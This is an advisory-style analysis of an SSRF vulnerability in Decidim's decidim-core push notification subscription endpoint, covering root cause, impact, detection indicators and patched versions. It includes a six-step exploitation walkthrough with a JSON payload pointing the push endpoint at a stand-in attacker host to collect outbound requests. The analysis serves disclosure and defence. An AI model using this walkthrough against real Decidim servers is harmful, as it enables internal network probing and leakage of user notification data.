CVE-2026-45573: 
Ruby vulnerability analysis and mitigation

CVE-2026-45573 is a Server-Side Request Forgery (SSRF) vulnerability in the Decidim participatory democracy platform, specifically in the decidim-core RubyGems package. When VAPID-based push notifications are enabled, the push subscription endpoint accepts and stores an attacker-controlled delivery URL without validating it against an approved push service allowlist, creating a stored, mostly blind SSRF primitive. Affected versions are decidim-core < 0.30.9, >= 0.31.0.rc1 and < 0.31.5, and >= 0.32.0.rc1 and < 0.32.0. It carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Decidim Advisory). The vulnerability was discovered through a security audit organized by the Decidim Association and conducted by Radically Open Security, financed by NGI, and was publicly disclosed on July 13, 2026 (Decidim Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): the POST /notifications_subscriptions endpoint accepts a client-supplied subscription.endpoint JSON field and stores it verbatim under user.notification_settings["subscriptions"] via params[:endpoint], with no validation that the URL belongs to a legitimate push service (GitHub Advisory). The full source-to-sink chain is: (1) attacker POSTs an arbitrary HTTPS URL as subscription.endpoint; (2) it is persisted in the user's notification settings; (3) on notification dispatch, build_payload reads the stored endpoint and passes it to WebPush.payload_send(**payload), which issues an outbound HTTPS POST to the attacker-controlled URL. Exploitation requires only a valid authenticated session (low privileges), no user interaction, and that VAPID delivery be enabled on the server (Decidim Advisory, Fix PR).

An authenticated attacker can cause the Decidim application server to issue outbound HTTPS POST requests to arbitrary attacker-controlled or internal HTTPS endpoints whenever a push notification is triggered. This enables interaction with attacker infrastructure (e.g., for out-of-band data exfiltration or callback confirmation), and — where internal services are reachable from the app server — probing or interacting with internal HTTPS services not otherwise exposed to the internet. Notification metadata is disclosed to the supplied endpoint through the encrypted web push request path, resulting in low confidentiality and low integrity impact with no direct availability impact (GitHub Advisory, Decidim Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the disclosure date. The CVE status is listed as "Reserved" and exploitation requires a valid authenticated account on the target Decidim instance with VAPID push notifications enabled (GitHub Advisory). No EPSS score or CISA KEV catalog entry has been identified for this CVE. The attack complexity is low and no user interaction is required beyond the attacker's own authenticated session, making it straightforward to exploit in environments where VAPID is configured (Decidim Advisory).

1. Reconnaissance: Identify a Decidim instance running an affected version of decidim-core (< 0.30.9, 0.31.0.rc1–0.31.4, or 0.32.0.rc1) with VAPID push notifications enabled (indicated by the presence of VAPID public keys in the application configuration).
2. Authenticate: Obtain or register a valid user account on the target Decidim instance (low-privilege access is sufficient).
3. Set up a listener: Stand up an attacker-controlled HTTPS server (e.g., using Burp Collaborator, interactsh, or a custom server) to receive and log incoming requests.
4. Register malicious push subscription: Send an authenticated HTTP POST request to POST /notifications_subscriptions with a JSON body containing subscription.endpoint set to the attacker-controlled HTTPS URL, along with any required p256dh and auth fields:

   {
     "subscription": {
       "endpoint": "https://attacker.example.com/collect",
       "keys": {
         "p256dh": "<any_value>",
         "auth": "<any_value>"
       }
     }
   }

5. Trigger notification dispatch: Wait for or trigger a platform event that causes a push notification to be sent to the registered user (e.g., a new comment, message, or admin action).
6. Observe outbound request: The Decidim server calls WebPush.payload_send with the attacker-supplied endpoint, issuing an outbound HTTPS POST to the attacker's server — confirming SSRF and potentially disclosing notification metadata or enabling further internal network probing (GitHub Advisory, Decidim Advisory).

• Network: Unexpected outbound HTTPS POST requests from the Decidim application server to non-standard push service domains (i.e., not *.mozilla.com, *.googleapis.com, *.apple.com, *.opera.com, or *.windows.com); outbound connections to known attacker infrastructure or SSRF callback services (e.g., interactsh, Burp Collaborator domains).
• Logs: Application logs showing WebPush.payload_send calls with endpoint URLs not matching approved push service providers; Rails request logs recording POST /notifications_subscriptions with unusual or non-browser-originated endpoint values.
• Database/Storage: User notification_settings["subscriptions"] records containing endpoint URLs pointing to non-standard or attacker-controlled domains rather than legitimate push service URLs.

Patched versions are decidim-core 0.30.9, 0.31.5, and 0.32.0, which introduce a PushSubscriptionEndpointValidator module that enforces an allowlist of approved push service providers (Mozilla, Google FCM, Apple, Opera, Windows/Edge) and rejects unsupported endpoints with a 422 error (Fix PR, GitHub Advisory). Administrators who cannot immediately upgrade should disable the push notifications feature by removing the VAPID keys from the server configuration, which prevents the vulnerable code path from being reachable (Decidim Advisory). Upgrading to a patched version is the recommended long-term remediation.

The vulnerability was credited to a security audit organized by the Decidim Association and performed by Radically Open Security, financed by NGI, indicating a responsible disclosure process through a formal security engagement (Decidim Advisory). No significant broader media coverage or notable social media commentary has been identified beyond the official advisory and patch pull request.